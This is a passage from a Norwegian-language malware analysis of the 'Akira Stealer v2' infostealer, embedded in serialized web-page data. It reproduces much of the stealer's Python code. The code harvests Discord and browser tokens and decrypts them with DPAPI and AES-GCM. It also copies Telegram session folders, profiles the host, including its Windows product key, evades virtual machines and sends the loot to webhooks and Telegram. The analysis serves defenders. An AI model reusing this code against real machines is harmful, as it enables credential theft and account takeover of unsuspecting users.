\"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1683,8482,8483],{"class":1685,"line":5035},[1683,8484,8485],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1683,8487,8488],{"class":1685,"line":5041},[1683,8489,8490],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1683,8492,8493],{"class":1685,"line":5047},[1683,8494,8495],{},"    ]\n",[1683,8497,8498],{"class":1685,"line":5053},[1683,8499,2403],{},[1683,8501,8502],{"class":1685,"line":5059},[1683,8503,8504],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1683,8506,8507],{"class":1685,"line":5065},[1683,8508,8509],{},"# 4) Cleanup local folder & ZIP\n",[1683,8511,8512],{"class":1685,"line":5071},[1683,8513,7693],{},[714,8515,8517,8518,1113],{"id":8516},"_79-tyveri-av-discord-og-telegram-tokens-klasse-discord","7.9. Tyveri av Discord- og Telegram-tokens (klasse: ",[551,8519,1317],{},[533,8521,720],{},[533,8523,8524,8526],{},[540,8525,1317],{},"-klassen i Akira Stealer v2 kjører en sterkt parallellisert flertrinnsprosess for å høste både Discord-autorisasjonstokens og Telegram-sesjonsdata. Under bryter vi ned hver komponent med presise kodereferanser og illustrerende eksempler.",[862,8528,8530],{"id":8529},"_791-initialisering-og-enumerering-av-stier","7.9.1 Initialisering og enumerering av stier",[533,8532,868],{},[533,8534,8535],{},"Ved instansiering bygger konstruktøren to sett med målstier:",[588,8537,8539],{"className":4490,"code":8538,"language":4492,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[551,8540,8541,8546,8551,8556,8561,8565,8569,8573,8578,8583,8588,8593,8597],{"__ignoreMap":594},[1683,8542,8543],{"class":1685,"line":1686},[1683,8544,8545],{},"# Discord client LevelDB directories\n",[1683,8547,8548],{"class":1685,"line":2062},[1683,8549,8550],{},"discord_paths = [\n",[1683,8552,8553],{"class":1685,"line":2068},[1683,8554,8555],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1683,8557,8558],{"class":1685,"line":2074},[1683,8559,8560],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1683,8562,8563],{"class":1685,"line":2394},[1683,8564,3841],{},[1683,8566,8567],{"class":1685,"line":2400},[1683,8568,7919],{},[1683,8570,8571],{"class":1685,"line":3058},[1683,8572,3851],{"emptyLinePlaceholder":325},[1683,8574,8575],{"class":1685,"line":3854},[1683,8576,8577],{},"# Chromium-based browser LevelDB directories\n",[1683,8579,8580],{"class":1685,"line":3860},[1683,8581,8582],{},"browserPaths = [\n",[1683,8584,8585],{"class":1685,"line":4105},[1683,8586,8587],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1683,8589,8590],{"class":1685,"line":5029},[1683,8591,8592],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1683,8594,8595],{"class":1685,"line":5035},[1683,8596,3841],{},[1683,8598,8599],{"class":1685,"line":5041},[1683,8600,7919],{},[604,8602,8603,8612],{},[607,8604,8605,8608,8609,586],{},[540,8606,8607],{},"Discord Paths"," retter seg mot offisielle og uoffisielle Discord-klienter under ",[551,8610,8611],{},"%APPDATA%",[607,8613,8614,8617],{},[540,8615,8616],{},"Browser Paths"," dekker brukerdatamappene til populære nettlesere, inkludert undermapper for local storage og utvidelser.",[533,8619,8620],{},"Det startes tråder for hver oppføring:",[588,8622,8624],{"className":4490,"code":8623,"language":4492,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[551,8625,8626,8631,8636,8641,8646,8651],{"__ignoreMap":594},[1683,8627,8628],{"class":1685,"line":1686},[1683,8629,8630],{},"for patt in browserPaths:\n",[1683,8632,8633],{"class":1685,"line":2062},[1683,8634,8635],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1683,8637,8638],{"class":1685,"line":2068},[1683,8639,8640],{},"    t.start()\n",[1683,8642,8643],{"class":1685,"line":2074},[1683,8644,8645],{},"for patt in discord_paths:\n",[1683,8647,8648],{"class":1685,"line":2394},[1683,8649,8650],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1683,8652,8653],{"class":1685,"line":2400},[1683,8654,8640],{},[533,8656,8657],{},"Denne trådmodellen maksimerer I/O-gjennomstrømningen og sonderer dusinvis av kataloger samtidig.",[862,8659,8661],{"id":8660},"_792-logikk-for-uthenting-av-tokens","7.9.2 Logikk for uthenting av tokens",[533,8663,868],{},[533,8665,8666],{},[540,8667,8668],{},"Plaintext Token Scraping from Browsers",[533,8670,8671,8674,8675,8678,8679,8682],{},[551,8672,8673],{},"get_btoken(path, arg)"," navigerer til hver LevelDB-mappe og inspiserer ",[551,8676,8677],{},".log","- og ",[551,8680,8681],{},".ldb","-filer:",[588,8684,8686],{"className":4490,"code":8685,"language":4492,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[551,8687,8688,8693,8698,8703,8708,8713,8718,8723],{"__ignoreMap":594},[1683,8689,8690],{"class":1685,"line":1686},[1683,8691,8692],{},"for file in os.listdir(path + arg):\n",[1683,8694,8695],{"class":1685,"line":2062},[1683,8696,8697],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1683,8699,8700],{"class":1685,"line":2068},[1683,8701,8702],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1683,8704,8705],{"class":1685,"line":2074},[1683,8706,8707],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1683,8709,8710],{"class":1685,"line":2394},[1683,8711,8712],{},"                tokens = re.findall(regex, line)\n",[1683,8714,8715],{"class":1685,"line":2400},[1683,8716,8717],{},"                for token in tokens:\n",[1683,8719,8720],{"class":1685,"line":3058},[1683,8721,8722],{},"                    self.tokens.append(token)\n",[1683,8724,8725],{"class":1685,"line":3854},[1683,8726,8727],{},"                    self.cehckToken(token)\n",[604,8729,8730,8739,8747],{},[607,8731,8732,8738],{},[540,8733,8734,8735],{},"Regex ",[551,8736,8737],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," treffer vanlige Discord-tokens.",[607,8740,8741,8746],{},[540,8742,8734,8743],{},[551,8744,8745],{},"mfa\\.[\\w-]{80,95}"," fanger MFA-tokens.",[607,8748,8749,8750,8753],{},"Dedupliseringen er implisitt: tokens lagres i ",[551,8751,8752],{},"self.tokens"," før validering.",[533,8755,8756],{},[540,8757,8758],{},"Encrypted Token Decryption in Discord Client",[533,8760,8761,8762,8764,8765,8767,8768,8771],{},"Discord-klienten krypterer Local Storage-oppføringer under DPAPI, med ",[551,8763,6499],{}," eller ",[551,8766,6503],{}," som prefiks. ",[551,8769,8770],{},"get_discord(path, arg)"," håndterer dette:",[588,8773,8775],{"className":4490,"code":8774,"language":4492,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[551,8776,8777,8782,8787,8791,8796,8801,8805,8810,8814,8818,8823,8828,8833,8838,8843],{"__ignoreMap":594},[1683,8778,8779],{"class":1685,"line":1686},[1683,8780,8781],{},"# Read Local State to obtain encrypted master key\n",[1683,8783,8784],{"class":1685,"line":2062},[1683,8785,8786],{},"with open(path + \"/Local State\", 'r') as f:\n",[1683,8788,8789],{"class":1685,"line":2068},[1683,8790,7094],{},[1683,8792,8793],{"class":1685,"line":2074},[1683,8794,8795],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1683,8797,8798],{"class":1685,"line":2394},[1683,8799,8800],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1683,8802,8803],{"class":1685,"line":2400},[1683,8804,3851],{"emptyLinePlaceholder":325},[1683,8806,8807],{"class":1685,"line":3058},[1683,8808,8809],{},"# Iterate LevelDB files for Base64 payloads\n",[1683,8811,8812],{"class":1685,"line":3854},[1683,8813,8692],{},[1683,8815,8816],{"class":1685,"line":3860},[1683,8817,8697],{},[1683,8819,8820],{"class":1685,"line":4105},[1683,8821,8822],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1683,8824,8825],{"class":1685,"line":5029},[1683,8826,8827],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1683,8829,8830],{"class":1685,"line":5035},[1683,8831,8832],{},"                ciphertext = b64decode(token_part)\n",[1683,8834,8835],{"class":1685,"line":5041},[1683,8836,8837],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1683,8839,8840],{"class":1685,"line":5047},[1683,8841,8842],{},"                self.tokens.append(token)\n",[1683,8844,8845],{"class":1685,"line":5053},[1683,8846,8847],{},"                self.cehckToken(token)\n",[604,8849,8850,8859],{},[607,8851,8852,8855,8856,8858],{},[540,8853,8854],{},"Master Key Recovery",": Skreller bort den 5 byte lange DPAPI-headeren og kaller deretter ",[551,8857,7160],{}," (som pakker inn Windows DPAPI) for å dekryptere AES-GCM-nøkkelen.",[607,8860,8861,8864,8865,8868,8869,8872,8873],{},[540,8862,8863],{},"Payload Parsing",": Tokens har prefikset ",[551,8866,8867],{},"dQw4w9WgXcQ:"," (en markør angriperen har valgt). Etter Base64-dekoding deler ",[551,8870,8871],{},"decrypt_value()"," opp IV og ciphertext:",[588,8874,8876],{"className":4490,"code":8875,"language":4492,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[551,8877,8878,8883,8888,8893,8898],{"__ignoreMap":594},[1683,8879,8880],{"class":1685,"line":1686},[1683,8881,8882],{},"def decrypt\\_value(buff, master\\_key):\n",[1683,8884,8885],{"class":1685,"line":2062},[1683,8886,8887],{},"iv = buff\\[3:15]\n",[1683,8889,8890],{"class":1685,"line":2068},[1683,8891,8892],{},"payload = buff\\[15:]\n",[1683,8894,8895],{"class":1685,"line":2074},[1683,8896,8897],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1683,8899,8900],{"class":1685,"line":2394},[1683,8901,8902],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[862,8904,8906],{"id":8905},"_793-validering-og-eksfiltrering-av-tokens","7.9.3 Validering og eksfiltrering av tokens",[533,8908,868],{},[533,8910,8911],{},"Hvert token som hentes ut, valideres via et live API-kall:",[588,8913,8916],{"className":8914,"code":8915,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[551,8917,8915],{"__ignoreMap":594},[604,8919,8920],{},[607,8921,8922,8925,8926,8929,8930,8933,8934],{},[540,8923,8924],{},"Ved suksess"," avgjør ",[551,8927,8928],{},"cehckToken()"," om den skal sende via Telegram (",[551,8931,8932],{},"useTg=True",") eller Discord-webhook:",[588,8935,8937],{"className":4490,"code":8936,"language":4492,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[551,8938,8939,8944,8949,8954],{"__ignoreMap":594},[1683,8940,8941],{"class":1685,"line":1686},[1683,8942,8943],{},"if useTg:\n",[1683,8945,8946],{"class":1685,"line":2062},[1683,8947,8948],{},"self.sendTokenTg(token)\n",[1683,8950,8951],{"class":1685,"line":2068},[1683,8952,8953],{},"else:\n",[1683,8955,8956],{"class":1685,"line":2074},[1683,8957,8958],{},"self.send\\_embed(token)\n",[604,8960,8961],{},[607,8962,8963,8968],{},[540,8964,8965],{},[551,8966,8967],{},"send_embed"," bygger en rik Discord-embed med brukerens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) ved hjelp av felter fra",[588,8970,8973],{"className":8971,"code":8972,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[551,8974,8972],{"__ignoreMap":594},[604,8976,8977],{},[607,8978,8979,8984],{},[540,8980,8981],{},[551,8982,8983],{},"sendTokenTg"," sender en oppsummering i klartekst via Telegram-API-et.",[862,8986,8988],{"id":8987},"_794-innsamling-av-telegram-sesjoner","7.9.4 Innsamling av Telegram-sesjoner",[533,8990,868],{},[533,8992,8993],{},"Utover Discord-tokens tar stealeren også Telegram Desktop-sesjoner:",[588,8995,8997],{"className":4490,"code":8996,"language":4492,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[551,8998,8999,9003,9008,9013,9018],{"__ignoreMap":594},[1683,9000,9001],{"class":1685,"line":1686},[1683,9002,4981],{},[1683,9004,9005],{"class":1685,"line":2062},[1683,9006,9007],{},"def steal_telegram():\n",[1683,9009,9010],{"class":1685,"line":2068},[1683,9011,9012],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1683,9014,9015],{"class":1685,"line":2074},[1683,9016,9017],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1683,9019,9020],{"class":1685,"line":2394},[1683,9021,9022],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9024,9025,9031,9040],{},[607,9026,9027,9030],{},[540,9028,9029],{},"Process Termination",": Sørger for at fillåser slippes.",[607,9032,9033,9036,9037,9039],{},[540,9034,9035],{},"Recursive Copy",": Stjeler ",[551,9038,8272],{},"-mappen, inkludert brukersesjoner, kontakter og hurtiglagrede meldinger.",[607,9041,9042,9045,9046,9049],{},[540,9043,9044],{},"Exfiltration",": Den stjålne mappen zippes og lastes opp via ",[551,9047,9048],{},"sendFilesTG()",", med nedlastingslenken lagt inn i en Telegram-melding.",[533,9051,9052,9054],{},[551,9053,1317],{},"-modulen i Akira Stealer kombinerer regex-basert scraping, DPAPI-underbygd AES-GCM-dekryptering, validering mot live API og eksfiltrering over flere protokoller (webhook og Telegram) for å levere friksjonsfri kontoovertakelse på både Discord og Telegram.",[714,9056,9058],{"id":9057},"_710-systemprofilering","7.10 Systemprofilering",[533,9060,720],{},[533,9062,9063,9064,9067],{},"Akira Stealer v2 har en omfattende systemprofileringsfase for å samle inn vertsmetadata, miljøattributter og nettverksdetaljer. Informasjonen samles i klassen ",[551,9065,9066],{},"Data"," og pakkes senere sammen med de eksfiltrerte credentials. Under bryter vi ned profileringslogikken med direkte kodereferanser.",[862,9069,9071,9072,9074],{"id":9070},"_7101-initialisering-av-data-klassen","7.10.1 Initialisering av ",[551,9073,9066],{},"-klassen",[533,9076,868],{},[533,9078,9079,9080,1173],{},"Ved oppstart opprettes en instans av ",[551,9081,9066],{},[588,9083,9085],{"className":4490,"code":9084,"language":4492,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[551,9086,9087,9092,9097,9102,9107,9112,9117,9122,9127,9132],{"__ignoreMap":594},[1683,9088,9089],{"class":1685,"line":1686},[1683,9090,9091],{},"class Data:\n",[1683,9093,9094],{"class":1685,"line":2062},[1683,9095,9096],{},"    def __init__(self):\n",[1683,9098,9099],{"class":1685,"line":2068},[1683,9100,9101],{},"        self.username = os.getlogin()\n",[1683,9103,9104],{"class":1685,"line":2074},[1683,9105,9106],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1683,9108,9109],{"class":1685,"line":2394},[1683,9110,9111],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1683,9113,9114],{"class":1685,"line":2400},[1683,9115,9116],{},"        ...\n",[1683,9118,9119],{"class":1685,"line":3058},[1683,9120,9121],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1683,9123,9124],{"class":1685,"line":3854},[1683,9125,9126],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1683,9128,9129],{"class":1685,"line":3860},[1683,9130,9131],{},"        self.country = ipdata.get(\"country\")\n",[1683,9133,9134],{"class":1685,"line":4105},[1683,9135,9136],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9138,9139,9152],{},[607,9140,9141,9144,9145,9148,9149,586],{},[540,9142,9143],{},"Username & Hostname:"," Hentes via ",[551,9146,9147],{},"os.getlogin()"," og miljøvariabelen ",[551,9150,9151],{},"COMPUTERNAME",[607,9153,9154,9157,9158,9161,9162,9164],{},[540,9155,9156],{},"IP Address:"," Hentes med ",[551,9159,9160],{},"requests.get(\"https://api.ipify.org\")"," og geolokaliseres deretter via ",[551,9163,5327],{}," for land og ISO-kode.",[862,9166,9168],{"id":9167},"_7102-enumerering-av-os-og-maskinvare","7.10.2 Enumerering av OS og maskinvare",[533,9170,868],{},[533,9172,9173],{},"Ved hjelp av WMI-kommandoer (Windows Management Instrumentation):",[588,9175,9177],{"className":4490,"code":9176,"language":4492,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[551,9178,9179,9184,9189,9194,9199,9204,9209,9214,9219,9224,9229,9234],{"__ignoreMap":594},[1683,9180,9181],{"class":1685,"line":1686},[1683,9182,9183],{},"# Operating System\n",[1683,9185,9186],{"class":1685,"line":2062},[1683,9187,9188],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1683,9190,9191],{"class":1685,"line":2068},[1683,9192,9193],{},"# Total Physical Memory\n",[1683,9195,9196],{"class":1685,"line":2074},[1683,9197,9198],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1683,9200,9201],{"class":1685,"line":2394},[1683,9202,9203],{},"# BIOS UUID\n",[1683,9205,9206],{"class":1685,"line":2400},[1683,9207,9208],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1683,9210,9211],{"class":1685,"line":3058},[1683,9212,9213],{},"# CPU Identifier\n",[1683,9215,9216],{"class":1685,"line":3854},[1683,9217,9218],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1683,9220,9221],{"class":1685,"line":3860},[1683,9222,9223],{},"# GPU Name\n",[1683,9225,9226],{"class":1685,"line":4105},[1683,9227,9228],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1683,9230,9231],{"class":1685,"line":5029},[1683,9232,9233],{},"# Windows Product Key\n",[1683,9235,9236],{"class":1685,"line":5035},[1683,9237,9238],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[533,9240,9241,9242,9245],{},"Resultatene tolkes til lesbare strenger (",[551,9243,9244],{},"strip()",", indeksoperasjoner) og settes sammen til:",[588,9247,9249],{"className":4490,"code":9248,"language":4492,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[551,9250,9251,9256,9261,9266,9271,9276,9281],{"__ignoreMap":594},[1683,9252,9253],{"class":1685,"line":1686},[1683,9254,9255],{},"self.system_info = (\n",[1683,9257,9258],{"class":1685,"line":2062},[1683,9259,9260],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1683,9262,9263],{"class":1685,"line":2068},[1683,9264,9265],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1683,9267,9268],{"class":1685,"line":2074},[1683,9269,9270],{},"    f\"CPU: {self.cpu}\\n\"\n",[1683,9272,9273],{"class":1685,"line":2394},[1683,9274,9275],{},"    f\"GPU: {self.gpu}\\n\"\n",[1683,9277,9278],{"class":1685,"line":2400},[1683,9279,9280],{},"    f\"Product Key: {self.productKey}\"\n",[1683,9282,9283],{"class":1685,"line":3058},[1683,9284,5248],{},[862,9286,9288],{"id":9287},"_7103-vm-deteksjon-og-anti-sandbox-sjekker","7.10.3 VM-deteksjon og anti-sandbox-sjekker",[533,9290,868],{},[533,9292,9293,9294,9296],{},"Før den dypere profileringen kaller malwaren ",[551,9295,4666],{}," for å oppdage virtualiserings- eller analysemiljøer:",[588,9298,9300],{"className":4490,"code":9299,"language":4492,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[551,9301,9302,9307],{"__ignoreMap":594},[1683,9303,9304],{"class":1685,"line":1686},[1683,9305,9306],{},"if VmProtect.isVM(1):\n",[1683,9308,9309],{"class":1685,"line":2062},[1683,9310,9311],{},"    sys.exit()\n",[533,9313,9314],{},"Sentrale sjekker omfatter:",[604,9316,9317,9323,9329,9335],{},[607,9318,9319,9322],{},[540,9320,9321],{},"Registry Keys & Driver Descriptors",": Spør etter virtualiseringsrelaterte registeroppføringer.",[607,9324,9325,9328],{},[540,9326,9327],{},"Blacklisted UUIDs & Computer Names",": Sammenligner med kjente VM-fingeravtrykk.",[607,9330,9331,9334],{},[540,9332,9333],{},"HTTP Simulation",": Forsøker å koble til et domene som ikke finnes, over HTTPS.",[607,9336,9337,9340,9341,620,9344,620,9347,586],{},[540,9338,9339],{},"Process Blacklist",": Starter en bakgrunnstråd som avslutter verktøy som ",[551,9342,9343],{},"wireshark",[551,9345,9346],{},"ollydbg",[551,9348,9349],{},"ida64",[862,9351,9353],{"id":9352},"_7104-pakking-og-overføring","7.10.4 Pakking og overføring",[533,9355,868],{},[533,9357,9358,9359,9362],{},"De innsamlede ",[551,9360,9361],{},"system_info",", IP-adressen og landflagget legges inn i headerne til webhook-payloaden:",[588,9364,9366],{"className":4490,"code":9365,"language":4492,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[551,9367,9368,9373,9378,9383,9388,9393,9398,9402],{"__ignoreMap":594},[1683,9369,9370],{"class":1685,"line":1686},[1683,9371,9372],{},"webhook_payload = {\n",[1683,9374,9375],{"class":1685,"line":2062},[1683,9376,9377],{},"    \"embeds\": [{\n",[1683,9379,9380],{"class":1685,"line":2068},[1683,9381,9382],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1683,9384,9385],{"class":1685,"line":2074},[1683,9386,9387],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1683,9389,9390],{"class":1685,"line":2394},[1683,9391,9392],{},"        \"fields\": [...]\n",[1683,9394,9395],{"class":1685,"line":2400},[1683,9396,9397],{},"    }]\n",[1683,9399,9400],{"class":1685,"line":3058},[1683,9401,2403],{},[1683,9403,9404],{"class":1685,"line":3854},[1683,9405,9406],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9408,9409,9415],{},[607,9410,9411,9414],{},[540,9412,9413],{},"Flag Emoji",": Utledes fra ISO-landkoden.",[607,9416,9417,9420],{},[540,9418,9419],{},"Fields",": Inneholder antall stjålne passord, cookies og liknende, men systeminformasjonen ligger i embedens description for umiddelbar kontekst.",[533,9422,9423,9426],{},[540,9424,9425],{},"Summary:","\nSystemprofileringen i Akira Stealer v2 samler inn omfattende verts- og nettverksdata via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Kombinert med VM-deteksjon og rutiner som dreper verktøy, sikrer dette at angriperen har et fullt øyeblikksbilde av det kompromitterte miljøet, noe som styrker målrettede oppfølgingshandlinger og siler ut analysesandboxer.",[714,9428,9430,9431,1113],{"id":9429},"_711-filinnsamler-klasse-utilssteal_files","7.11 Filinnsamler (klasse: ",[551,9432,9433],{},"Utils.steal_files",[533,9435,720],{},[533,9437,9438],{},"Utover nettleserdata og tokens forsøker Akira også å hente ut verdifullt brukergenerert innhold, som dokumenter, regneark, private notater og kryptografiske nøkkelfiler. File Grabber-modulen har ansvaret for dette. Den skanner kataloger med høy verdi etter vanlige filtyper og mønstre, og legger dem deretter stille til i eksfiltreringspakken. Det som gjør modulen særlig farlig, er enkelheten og fokuset: den forsøker ikke å gå gjennom hele filsystemet. I stedet retter den seg mot bestemte, sannsynlige steder der sensitive filer vanligvis ligger. Dit hører katalogene Desktop, Documents, Downloads og OneDrive, alle relativt til hjemmestien til brukeren. Den fokuserte tilnærmingen gir både tempo og skjulthet, og reduserer sjansen for å bli oppdaget under skanningen. Den unngår også å varsle brukeren ved ikke å gå inn i system- eller beskyttede kataloger. Når interessante filer er funnet, kopieres de til en midlertidig mappe, eventuelt omdøpt eller gruppert, og komprimeres senere til det endelige ZIP-arkivet som lastes opp i eksfiltreringsfasen.",[862,9440,9442],{"id":9441},"_7111-enumerering-av-målkataloger","7.11.1 Enumerering av målkataloger",[533,9444,868],{},[533,9446,9447],{},"Stealeren konsentrerer seg om fire mapper med høy avkastning:",[588,9449,9451],{"className":4490,"code":9450,"language":4492,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[551,9452,9453,9458,9463,9468,9473,9478],{"__ignoreMap":594},[1683,9454,9455],{"class":1685,"line":1686},[1683,9456,9457],{},"searchFolders = [\n",[1683,9459,9460],{"class":1685,"line":2062},[1683,9461,9462],{},"    \"Desktop\",\n",[1683,9464,9465],{"class":1685,"line":2068},[1683,9466,9467],{},"    \"Documents\",\n",[1683,9469,9470],{"class":1685,"line":2074},[1683,9471,9472],{},"    \"Downloads\",\n",[1683,9474,9475],{"class":1685,"line":2394},[1683,9476,9477],{},"    \"OneDrive\"\n",[1683,9479,9480],{"class":1685,"line":2400},[1683,9481,7919],{},[533,9483,9484],{},"Hver mappe tolkes relativt til hjemmekatalogen til offeret:",[588,9486,9488],{"className":4490,"code":9487,"language":4492,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[551,9489,9490,9495,9500,9505],{"__ignoreMap":594},[1683,9491,9492],{"class":1685,"line":1686},[1683,9493,9494],{},"for folder in searchFolders:\n",[1683,9496,9497],{"class":1685,"line":2062},[1683,9498,9499],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1683,9501,9502],{"class":1685,"line":2068},[1683,9503,9504],{},"    if os.path.exists(current_path):\n",[1683,9506,9507],{"class":1685,"line":2074},[1683,9508,9509],{},"        # proceed to scan\n",[862,9511,9513],{"id":9512},"_7112-filtrering-på-nøkkelord-og-filendelse","7.11.2 Filtrering på nøkkelord og filendelse",[533,9515,868],{},[533,9517,9518],{},[540,9519,9520],{},"Keyword 